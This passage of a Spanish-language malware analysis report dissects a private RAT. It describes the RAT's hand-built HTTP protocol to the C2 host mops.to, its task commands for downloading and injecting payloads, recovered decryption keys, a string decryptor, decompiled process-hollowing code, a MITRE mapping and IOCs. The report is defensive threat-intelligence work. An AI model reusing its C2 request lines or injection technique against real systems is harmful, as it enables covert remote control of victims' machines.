<p>El RAT <strong>no usa wininet ni winhttp</strong>: resuelve dinámicamente la API de sockets de <code>ws2_32.dll</code> (<code>WSAStartup</code>, <code>getaddrinfo</code>, <code>socket</code>, <code>connect</code>, <code>send</code>, <code>recv</code>, <code>select</code>, <code>shutdown</code>, <code>closesocket</code>, <code>ioctlsocket</code>&hellip;) y escribe las peticiones HTTP <strong>a mano</strong> sobre el socket, byte a byte:</p>






<pre tabindex="0"><code>GET /task/7571078989 HTTP/1.1
Host: mops.to
User-Agent: &lt;huella de la víctima&gt;
Connection: close</code></pre>
<p>La plantilla exacta (recuperada del cifrado TLS del binario) es:</p>






<pre tabindex="0"><code>GET /task/%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n</code></pre>
<p>El <code>User-Agent</code> no es un navegador: es la <strong>identidad de la víctima</strong>, construida por <code>FUN_140018dd0</code> a partir de la versión y edición de Windows y de componentes de hardware de la máquina. Esto significa que el operador ve cada petición con la etiqueta del equipo infectado.</p>
<p>Durante el sondeo activo del endpoint, una petición con User-Agent genérico (<code>curl/8.x</code>) recibe un <strong><code>Access denied</code></strong> inmediato, mientras que un socket crudo con un UA del patrón del bot (<code>Windows 10</code>) recibe <strong>silencio absoluto</strong> (conexión aceptada, ningún byte de respuesta): el panel filtra por la forma de la petición, probablemente por el contenido o estructura del User-Agent. Es un comportamiento de panel privado, no de un servidor web estándar.</p>
<h3 id="63-protocolo-de-aplicación-texto-plano-con-separadores-">6.3 Protocolo de aplicación (texto plano con separadores <code>;</code>)</h3>
<p>Sobre ese transporte, el protocolo de comandos es una serie de mensajes de texto separados por punto y coma:</p>
<p><strong>Saludo / verificación del servidor</strong> (puerto 406, protocolo crudo sin HTTP):</p>






<pre tabindex="0"><code>checkserver;00000;&lt;nonce de 15 caracteres aleatorios&gt;</code></pre>
<p>El bot genera el nonce con un PRNG xorshift sembrado con <code>GetTickCount64 ^ rdtsc ^ parametro</code> y alfabeto alfanumérico de 62 símbolos. Si el servidor responde exactamente <strong>8 bytes</strong>, la verificación es correcta. (Curiosidad: el fichero señuelo de 110 MB del paquete, <code>JPcd56xErJkLadWe</code>, tiene exactamente la morfología de 15 caracteres que produce este generador.)</p>
<p><strong>Identificación (respuesta al comando <code>getinfo</code>):</strong></p>






<pre tabindex="0"><code>info;&lt;HWID&gt;;&lt;versión de Windows&gt;;&lt;nombre de usuario&gt;;&lt;7571078989&gt;</code></pre>
<p><strong>Tareas (mensaje del servidor al bot):</strong></p>






<pre tabindex="0"><code>task;&lt;id&gt;;task_id;&lt;tipo&gt;;type;&lt;X&gt;;version;&lt;Y&gt;;param;&lt;Z&gt;</code></pre>
<ul>
<li><code>createtask</code>: ordena descargar y ejecutar un payload.</li>
<li><code>closetask</code>: cierra una tarea en ejecución.</li>
<li><code>param = update</code>: auto-actualización del bot.</li>
<li>Respuestas del bot: <code>task_done;&lt;tipo&gt;</code>, <code>pong</code> (a <code>ping</code>, midiendo latencia con <code>GetTickCount64</code>), <code>ready;</code>.</li>
</ul>
<hr>
<h2 id="7-criptografía-del-malware-algoritmos-y-claves-recuperadas">7. Criptografía del malware (algoritmos y claves recuperadas)</h2>
<p>Una parte sustancial del análisis consistió en revertir <strong>todas</strong> las capas criptográficas de la muestra. Todas son diseños a medida del autor (no hay AES ni RSA en ningún stage):</p>
<h3 id="71-cadenas-del-stage-1-libcurldll">7.1 Cadenas del stage-1 (<code>libcurl.dll</code>)</h3>
<p>XOR con clave repetida de 16 bytes, reiniciada al comienzo de cada cadena:</p>






<pre tabindex="0"><code>clave (en claro dentro de la propia sección cifrada, VA 0x18007d870):
0aad90ab10b91c391876a43826ad21c1</code></pre>
<p>El «cifrado» de la función es en realidad solo <code>plain[i] = cipher[i] XOR clave[i % 16]</code>: la envoltura con aritmética booleana <code>((x ^ 0xFF) &amp; 0x79 | x &amp; 0x86)</code> se reduce algebraicamente a <code>x ^ 0x79</code>, cuyos efectos se cancelan en el XOR final. Una ofuscación que parece compleja y es trivial.</p>
<h3 id="72-payload-del-stage-1-el-blob-de-5-fragmentos">7.2 Payload del stage-1 (el blob de 5 fragmentos)</h3>
<ul>
<li>Reensamblado de 5 fragmentos (~0xB686C bytes en total) desde <code>.6dc08e</code>.</li>
<li>De-junking: se conservan 10 de cada 14 bytes.</li>
<li>Descifrado: <strong>cifrador de bloque de 64 bits propio en modo CTR</strong>:</li>
</ul>






<pre tabindex="0"><code>clave  (32 bytes, VA 0x18007d890): e143e7772b74424dcb44840b7ec54df47ac2e7ce62ca745c741a841568c271b3
contador inicial (VA 0x18007d880): 0x96E696FB_F46C49DE
flujo:  keystream = E(clave, contador++), XOR por bloques de 8 bytes</code></pre>
<p>Este cifrador se replicó íntegramente por emulación (Unicorn Engine) sobre las funciones originales del binario, sin transcribir su código, y verificó produciendo una cabecera MZ válida y un PE completo.</p>
<h3 id="73-cadenas-del-stage-2-runtimebrokera">7.3 Cadenas del stage-2 (RuntimeBrokerA)</h3>
<p>Por byte, sin clave:</p>






<pre tabindex="0"><code>plain[i] = ROR8(cipher[i], (i % 7) + 1) XOR ((i * 13 + 0xA3) &amp; 0xFF)</code></pre>
<p>Para cadenas UTF-16: el mismo algoritmo sobre el byte bajo de cada word (el alto es relleno).</p>
<h3 id="74-sección-strenc-del-stage-2">7.4 Sección <code>.strenc</code> del stage-2</h3>
<p>Descifrador tipo RC4 con S-box de 296 bytes embebida como constantes en el código y 16 claves de 8 bytes en <code>.strenc+0xA0..0x120</code>, emparejadas por índice con sus cadenas.</p>
<h3 id="75-los-ficheros-cfg-y-el-log-de-110-mb-ajenos-al-malware">7.5 Los ficheros <code>.cfg</code> y el «Log» de 110 MB: ajenos al malware</h3>
<p>Se probaron contra estos ficheros <strong>todos</strong> los algoritmos y claves anteriores (XOR-16, CTR de 8 bytes, AES-ECB/CBC con las claves extraídas, ROR8+f(i)) y <strong>ninguno los descifra</strong>. Además, <strong>ningún componente del malware contiene referencia alguna a <code>data\</code>, <code>Enumerate.cfg</code>, <code>Lang.cfg</code> o <code>Log</code></strong>. Los tres <code>.cfg</code> comparten los primeros 32 bytes de texto cifrado (cabecera común bajo un cifrado de flujo determinista con clave propia) y <code>Lang.cfg</code> antepone un BOM UTF-16 en claro.</p>
<p><strong>Conclusión:</strong> los <code>.cfg</code> y el fichero de 110 MB son <strong>atrezo del paquete falsificado</strong> (pertenecen al «producto» que se está suplantando o son relleno plantado por el autor); su cifrado no forma parte del código del malware y su clave no reside en esta muestra. El nombre de 15 caracteres del «Log» imita la morfología del generador aleatorio del propio RAT (probablemente deliberado, como guiño de credibilidad), pero el generador solo se usa para el nonce de <code>checkserver</code>.</p>
<hr>
<h2 id="8-capacidades-del-rat-motor-de-tareas">8. Capacidades del RAT (motor de tareas)</h2>
<p>El motor de tareas se activa cuando el C2 envía un mensaje que empieza por <code>task;</code>. El análisis del parser y del ejecutor (<code>FUN_14001d7a0</code>, <code>FUN_14001d5e0</code>, <code>FUN_14001cbd0</code>) revela el repertorio completo:</p>
<h3 id="81-createtask--descarga-e-inyección-de-payloads-arbitrarios">8.1 <code>createtask</code> — descarga e inyección de payloads arbitrarios</h3>
<p>Es la capacidad principal y la más peligrosa. El flujo, paso a paso:</p>
<ol>
<li><strong>Descarga por fragmentos</strong>: el bot solicita el payload al C2 con <code>GET /task/&lt;nombre&gt;</code> y lo recibe troceado. Los fragmentos se almacenan temporalmente con nombres <code>&lt;nombre&gt;_&lt;tipo&gt;_chunk_&lt;n&gt;</code> y se reensamblan en un buffer de hasta <strong>3 MB</strong>.</li>
<li><strong>Validación</strong>: <code>FUN_140012f30</code> comprueba la integridad del ensamblado (posible capa adicional de cifrado/verificación de los payloads de pago).</li>
<li><strong>Inyección</strong> (<code>FUN_14001c990</code>): crea un proceso <strong><code>C:\Windows\System32\cmd.exe</code> suspendido</strong> (<code>CreateProcessA</code> con <code>CREATE_SUSPENDED | CREATE_NO_WINDOW</code>), espera 500 ms, inyecta el payload mediante las API nativas de ntdll (<code>NtAllocateVirtualMemory</code>, <code>NtWriteVirtualMemory</code>, <code>NtCreateThreadEx</code>) y reanuda el hilo principal con <code>ResumeThread</code>. Es un <strong>process hollowing de libro</strong>: en el Administrador de tareas se ve un <code>cmd.exe</code> legítimo ejecutando código del atacante. Si la inyección falla, mata el proceso y reintenta (hasta 2 veces).</li>
<li><strong>Registro</strong>: cada tarea queda vinculada a su PID para poder cerrarla después.</li>
</ol>
<p>Esto convierte a la muestra en un <strong>descargador de cargas de pago</strong>: el RAT en sí no roba credenciales, pero descarga y ejecuta en memoria cualquier cosa que el operador sirva desde <code>mops.to</code> (infostealer, ransomware, criptominero&hellip;). <strong>El payload final no está en la muestra: lo distribuye el C2 bajo demanda.</strong></p>
<h3 id="82-closetask--cierre-de-tareas">8.2 <code>closetask</code> — cierre de tareas</h3>
<p>Busca el PID registrado de la tarea indicada, abre el proceso con <code>SYNCHRONIZE | PROCESS_TERMINATE</code>, lo mata con <code>TerminateProcess</code>, espera hasta 3 segundos y limpia el registro de tareas.</p>
<h3 id="83-update--auto-actualización">8.3 <code>update</code> — auto-actualización</h3>
<p>Si el campo <code>param</code> de una tarea contiene <code>update</code>, el bot notifica <code>task_done;&lt;tipo&gt;</code> al C2 y llama a <code>ExitProcess</code>: se cierra para que la tarea de actualización (otro payload) lo sustituya en disco.</p>
<h3 id="84-ejecución-de-comandos-shell">8.4 Ejecución de comandos shell</h3>
<p>Función dedicada (<code>FUN_1400140c0</code>) que lanza:</p>






<pre tabindex="0"><code>cmd.exe /C &lt;param&gt;</code></pre>
<p>con <code>CREATE_NO_WINDOW</code> (ventana oculta) y <code>WaitForSingleObject</code> hasta el fin del comando, devolviendo éxito/fallo. Es la misma vía que empleó el stage-1 para las exclusiones de Defender.</p>
<h3 id="85-telemetría">8.5 Telemetría</h3>
<p><code>ping</code>/<code>pong</code> con medida de latencia (<code>GetTickCount64</code>), <code>getinfo</code> con el reporte de huella, y <code>checkserver</code> contra el puerto 406.</p>
<hr>
<h2 id="9-mapeo-mitre-attck-síntesis">9. Mapeo MITRE ATT&amp;CK (síntesis)</h2>
<table>
<thead>
<tr>
<th>Técnica</th>
<th>Descripción en esta muestra</th>
</tr>
</thead>
<tbody>
<tr>
<td>T1204.002</td>
<td>Ejecución por el usuario del fichero descargado (Google Sites + RAR con contraseña)</td>
</tr>
<tr>
<td>T1574.002</td>
<td>DLL sideloading: GUP.exe firmado + libcurl.dll maliciosa</td>
</tr>
<tr>
<td>T1036.005</td>
<td>Suplantación de nombres: Client.exe (GUP), RuntimeBrokerA.exe (RuntimeBroker), tareas «Microsoft»</td>
</tr>
<tr>
<td>T1059.001 / T1059.003</td>
<td>PowerShell y cmd.exe para evasión (<code>Add-MpPreference</code>, comandos)</td>
</tr>
<tr>
<td>T1562.001</td>
<td>Deshabilitación de defensas: exclusiones de Defender + parcheo de AMSI</td>
</tr>
<tr>
<td>T1112 / T1547.005</td>
<td>Persistencia: registro (<code>Software\WinRAR\Libs</code> como almacén de fragmentos) y tareas programadas</td>
</tr>
<tr>
<td>T1548.002</td>
<td>Elevación vía moniker COM <code>Elevation:Administrator!new:</code> (bypass de UAC)</td>
</tr>
<tr>
<td>T1055</td>
<td>Inyección de proceso: hollowing de cmd.exe suspendido con API nativa</td>
</tr>
<tr>
<td>T1105</td>
<td>Transferencia de herramientas: descarga de payloads por chunks desde el C2</td>
</tr>
<tr>
<td>T1497</td>
<td>Evasión de virtualización/sandbox (VBox/VMware/QEMU/KVM/Hyper-V/Parallels/Citrix/ANY.RUN)</td>
</tr>
<tr>
<td>T1499-style (sabotaje)</td>
<td>BSOD deliberado (<code>NtRaiseHardError</code>) y <code>RtlSetProcessIsCritical</code></td>
</tr>
<tr>
<td>T1082 / T1012</td>
<td>Descubrimiento de sistema: HWID, versión de Windows, usuario, AV (WMI)</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="10-tokens-api-keys-y-canales-de-terceros-búsqueda-negativa">10. Tokens, API keys y canales de terceros: búsqueda negativa</h2>
<p>Se realizó un barrido exhaustivo con expresiones regulares específicas sobre <strong>todos</strong> los ficheros del paquete (<code>Client.exe</code>, <code>libcurl.dll</code>, <code>NvMessageBus.dll</code>, <code>gup.xml</code>, los tres <code>.cfg</code>, el Log de 110 MB, el RAR completo y el stage-2 descifrado), cubriendo:</p>
<ul>
<li>Tokens de Discord (<code>mfa.</code>, formato base64 de 3 partes, webhooks de <code>discord.com/api/webhooks</code>)</li>
<li>Tokens de bot de Telegram (<code>\d{8,10}:AA...</code>) y llamadas a <code>api.telegram.org</code></li>
<li>Claves AWS (<code>AKIA...</code>), Google (<code>AIza...</code>), Slack (<code>xox...</code>)</li>
<li>Claves privadas SSH (<code>-----BEGIN ... PRIVATE KEY-----</code>)</li>
<li>URLs arbitrarias, IPs, blobs base64 largos</li>
</ul>
<p><strong>Resultado: cero hallazgos en todos los ficheros.</strong> La única «identidad» embebida en todo el paquete es:</p>






<pre tabindex="0"><code>Bot ID:      7571078989
C2:          mops.to:408 (TCP) / checkserver en 406
Version:     1.0.0
Distribucion: https://sites.google.com/view/v2-35/home</code></pre>
<p>El modelo operativo del actor no depende de servicios de terceros (ni Discord, ni Telegram, ni pastebin): todo el control y la exfiltración de cargas pasan por su panel en <code>mops.to</code>. Esto es coherente con un RAT privado de nicho económico: probablemente monetiza vendiendo el «skin changer» (la muestra es el producto) y el RAT es la puerta trasera sobre sus propios clientes, o bien alquila la botnet.</p>
<hr>
<h2 id="11-señuelos-y-detalles-de-atrezo">11. Señuelos y detalles de atrezo</h2>
<ul>
<li><strong><code>NvMessageBus.dll</code></strong>: es una DLL <strong>auténtica de NVIDIA</strong> (32 bits, build ~marzo 2025, con protobuf 3.21.9 y rutas de compilación <code>C:\dvs\p4\build\sw\gcomp\dev\src\LocalServices\...</code>) que llegó <strong>corrupta al paquete</strong>: sufrió una conversión en modo texto (cada pareja CRLF perdió su CR y los bytes NUL se convirtieron en espacios 0x20), con desplazamiento acumulativo de bytes que la hace <strong>imposible de cargar en Windows</strong>. Nunca se ejecuta (nada la importa). Su única función es que la carpeta parezca un cliente gráfico serio («NVIDIA, message bus, configs, logs&hellip;»). Las cadenas de tokens de proceso que contiene (<code>OpenProcessToken</code>, <code>GetTokenInformation</code>, <code>ConvertSidToStringSidA</code>) pertenecen a su código legítimo de seguridad IPC de NVIDIA.</li>
<li><strong><code>data/Log/JPcd56xErJkLadWe</code></strong> (110 MB, entropía 7,98): lastre para inflar el RAR y dar realismo («los clientes serios tienen logs grandes»). Su nombre imita el generador aleatorio del propio RAT, pero el código del malware no crea ni lee esa ruta.</li>
<li><strong>Marcadores del autor</strong>: el par de constantes <code>32 a2 df 2d 99 2b</code> y <code>cd 5d 20 d2 66 d4 ff ff</code> aparece tanto en el stage-1 como en el stage-2: son la firma interna del autor y de su empaquetador.</li>
</ul>
<hr>
<h2 id="12-comparativa-con-familias-conocidas">12. Comparativa con familias conocidas</h2>
<p>El protocolo (<code>createtask</code>/<code>task_id;</code>/<code>type;</code>/<code>param;</code>/<code>task_done;</code> + descarga por <code>_chunk_</code> + inyección en cmd.exe suspendido + HTTP artesanal) <strong>no coincide con ninguna familia pública</strong> (DcRat, AsyncRAT, XWorm, etc. usan protocolos distintos y estructuras .NET). Todo apunta a <strong>un RAT privado en C++ con ofuscación propia (MBA + TLS + cripto a medida)</strong>, posiblemente un loader comercial de la escena de «game cheats» reutilizado como botnet personal. El nivel de ingeniería (capas de cifrado, CTR propio, cadenas TLS, señuelos) está muy por encima del típico script kiddie de esa escena.</p>
<hr>
<h2 id="13-fragmentos-seleccionados-del-análisis">13. Fragmentos seleccionados del análisis</h2>
<h3 id="cadenas-del-stage-2-recuperadas-del-cifrado-tls-selección">Cadenas del stage-2 recuperadas del cifrado TLS (selección)</h3>






<pre tabindex="0"><code>&#39;C:\ProgramData\Windows\Microsoft\RuntimeBrokerA.exe&#39;   (ruta de instalación)
&#39;mops.to&#39;                                               (host del C2, cadena UTF-16)
&#39;406&#39;  &#39;408&#39;                                            (puertos)
&#39;1.0.0&#39;                                                 (versión del bot)
&#39;ready;&#39;  &#39;;version;&#39;  &#39;ping&#39;  &#39;pong&#39;  &#39;getinfo&#39;  &#39;info;&#39;  &#39;task&#39;
&#39;checkserver;&#39;
&#39;cmd.exe /C &#39;
&#39;_chunk_&#39;
&#39;%s_%s_tempchunk_%d&#39;  &#39;%s_%s_chunk_%d&#39;  &#39;%s_%s_chunk_&#39;
&#39;createtask&#39;  &#39;closetask&#39;  &#39;task_id;&#39;  &#39;type;&#39;  &#39;version;&#39;  &#39;param;&#39;  &#39;task_done;&#39;
&#39;GET /task/%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: %s\r\nConnection: close\r\n\r\n&#39;
&#39;Global\RuntimeBrokerAdsA&#39;                              (mutex)
&#39;Software\WinRAR\Libs&#39;                                  (almacén de fragmentos en registro)
&#39;C:\Windows\System32\cmd.exe&#39;                           (hospedador de la inyección)
&#39;amsi.dll&#39;  &#39;AmsiOpenSession&#39;                           (parcheo de AMSI)
&#39;RtlSetProcessIsCritical&#39;  &#39;NtRaiseHardError&#39;           (BSOD)
&#39;BootTrigger&#39;  &#39;TimeRepetition&#39;  &#39;SvcRestartTaskWindowsLoginsA&#39;  ...
&#39;anyrun&#39;  &#39;anyrun GPU&#39;                                  (detección de ANY.RUN)
&#39;abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789&#39;  (alfabeto del generador)</code></pre>
<h3 id="el-descifrador-de-cadenas-del-stage-2-reconstruido">El descifrador de cadenas del stage-2, reconstruido</h3>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">1</span><span><span style="color:#fff;font-weight:bold">def</span> ror8(c, n):
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">2</span><span>    n &amp;= <span style="color:#ff0;font-weight:bold">7</span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">3</span><span>    <span style="color:#fff;font-weight:bold">return</span> ((c &gt;&gt; n) | (c &lt;&lt; (<span style="color:#ff0;font-weight:bold">8</span> - n))) &amp; <span style="color:#ff0;font-weight:bold">0xFF</span> <span style="color:#fff;font-weight:bold">if</span> n <span style="color:#fff;font-weight:bold">else</span> c
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">4</span><span>
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">5</span><span><span style="color:#fff;font-weight:bold">def</span> decrypt(cipher):
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">6</span><span>    <span style="color:#fff;font-weight:bold">return</span> <span style="color:#fff;font-weight:bold">bytes</span>(ror8(c, (i % <span style="color:#ff0;font-weight:bold">7</span>) + <span style="color:#ff0;font-weight:bold">1</span>) ^ ((i * <span style="color:#ff0;font-weight:bold">13</span> + <span style="color:#ff0;font-weight:bold">0xA3</span>) &amp; <span style="color:#ff0;font-weight:bold">0xFF</span>)
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">7</span><span>                 <span style="color:#fff;font-weight:bold">for</span> i, c in <span style="color:#fff;font-weight:bold">enumerate</span>(cipher))</span></span></code></pre></div>
<p>Con esas seis líneas se deshace la totalidad de la capa de strings del RAT.</p>
<h3 id="el-mensaje-de-identificación-ensamblado-en-fun_14001dcb0">El mensaje de identificación, ensamblado en <code>FUN_14001dcb0</code></h3>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">1</span><span>lstrcpynA(aCStack_bd8, DAT_1400810d8, <span style="color:#ff0;font-weight:bold">0x200</span>);   <span style="color:#007f7f">// &#34;info;&#34;
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">2</span><span><span style="color:#007f7f"></span>lstrcatA(aCStack_bd8, pcStack_730);             <span style="color:#007f7f">// HWID / identificador de máquina
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">3</span><span><span style="color:#007f7f"></span>lstrcatA(aCStack_bd8, <span style="color:#0ff;font-weight:bold">&#34;;&#34;</span>);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">4</span><span>lstrcatA(aCStack_bd8, pcStack_728);             <span style="color:#007f7f">// &#34;Windows 10&#34; / &#34;Windows 11&#34; / ...
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">5</span><span><span style="color:#007f7f"></span>lstrcatA(aCStack_bd8, <span style="color:#0ff;font-weight:bold">&#34;;&#34;</span>);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">6</span><span>lstrcatA(aCStack_bd8, pcStack_720);             <span style="color:#007f7f">// nombre de usuario (GetUserNameW)
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">7</span><span><span style="color:#007f7f"></span>lstrcatA(aCStack_bd8, <span style="color:#0ff;font-weight:bold">&#34;;&#34;</span>);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">8</span><span>lstrcatA(aCStack_bd8, pcStack_718);             <span style="color:#007f7f">// &#34;7571078989&#34; (identificador de bot)
</span></span></span></code></pre></div>
<h3 id="el-inyector-de-payloads-fun_14001c990">El inyector de payloads (<code>FUN_14001c990</code>)</h3>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 1</span><span>lpString2 = (LPCSTR)FUN_14001cb80();          <span style="color:#007f7f">// &#34;C:\Windows\System32\cmd.exe&#34;
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 2</span><span><span style="color:#007f7f"></span>lstrcpynA(local_108, lpString2, <span style="color:#ff0;font-weight:bold">0x104</span>);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 3</span><span>CreateProcessA(local_108, <span style="color:#fff;font-weight:bold">NULL</span>, <span style="color:#fff;font-weight:bold">NULL</span>, <span style="color:#fff;font-weight:bold">NULL</span>, <span style="color:#ff0;font-weight:bold">0</span>,
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 4</span><span>               <span style="color:#ff0;font-weight:bold">0x8000004</span>,                     <span style="color:#007f7f">// CREATE_SUSPENDED | CREATE_NO_WINDOW
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 5</span><span><span style="color:#007f7f"></span>               <span style="color:#fff;font-weight:bold">NULL</span>, <span style="color:#fff;font-weight:bold">NULL</span>, &amp;si, &amp;pi);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 6</span><span>ResumeThread(pi.hThread);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 7</span><span>Sleep(<span style="color:#ff0;font-weight:bold">500</span>);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 8</span><span>FUN_140019b70(payload, size, pi.hProcess, param);   <span style="color:#007f7f">// inyección: NtAllocateVirtualMemory +
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 9</span><span><span style="color:#007f7f"></span>                                                    <span style="color:#007f7f">// NtWriteVirtualMemory + NtCreateThreadEx
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">10</span><span><span style="color:#007f7f"></span>CloseHandle(pi.hThread); CloseHandle(pi.hProcess);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">11</span><span>*pid_out = pi.dwProcessId;                    <span style="color:#007f7f">// el PID queda registrado para &#39;closetask&#39;
</span></span></span></code></pre></div>
<h3 id="el-generador-de-nonces-de-15-caracteres-fun_14005d780">El generador de nonces de 15 caracteres (<code>FUN_14005d780</code>)</h3>






<div class="highlight"><pre tabindex="0" style="color:#e5e5e5;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 1</span><span>seed = GetTickCount64() ^ parametro ^ rdtsc();
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 2</span><span>Sleep(<span style="color:#ff0;font-weight:bold">100</span>);
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 3</span><span>Sleep(<span style="color:#ff0;font-weight:bold">100</span>);                        <span style="color:#007f7f">// (contribuye al ruido del rdtsc)
</span></span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 4</span><span><span style="color:#007f7f"></span><span style="color:#fff;font-weight:bold">for</span> (i = <span style="color:#ff0;font-weight:bold">0</span>; i &lt; <span style="color:#ff0;font-weight:bold">16</span>; i++) {
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 5</span><span>    seed ^= seed &lt;&lt; <span style="color:#ff0;font-weight:bold">13</span>;
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 6</span><span>    seed ^= seed &gt;&gt; <span style="color:#ff0;font-weight:bold">7</span>;
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 7</span><span>    seed ^= seed &lt;&lt; <span style="color:#ff0;font-weight:bold">17</span>;
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 8</span><span>    nombre[i] = alfabeto[seed % <span style="color:#ff0;font-weight:bold">62</span>];
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272"> 9</span><span>}
</span></span><span style="display:flex;"><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#727272">10</span><span>nombre[<span style="color:#ff0;font-weight:bold">15</span>] = <span style="color:#ff0;font-weight:bold">0</span>;                    <span style="color:#007f7f">// 15 caracteres + NUL
</span></span></span></code></pre></div>
<p><code>JPcd56xErJkLadWe</code> tiene exactamente esa morfología (15 caracteres alfanuméricos).</p>
<h3 id="verificación-de-la-firma-de-clientexe-signify">Verificación de la firma de Client.exe (signify)</h3>






<pre tabindex="0"><code>firmas embebidas: 1
FIRMANTE: Notepad++ | Saint Cloud | Ile-de-France | FR
VERIFICACION: AuthenticodeVerificationResult.OK</code></pre>
<hr>
<h2 id="14-indicadores-de-compromiso-ioc">14. Indicadores de compromiso (IOC)</h2>
<h3 id="red">Red</h3>






<pre tabindex="0"><code>Dominio:   mops.to
IP:        45.91.202.47
Puertos:   408/TCP (C2 principal)  ·  406/TCP (checkserver)
Ruta C2:   GET /task/7571078989
UA:        cadena &#34;Windows &lt;version&gt; &lt;edicion&gt; + huella de hardware&#34;
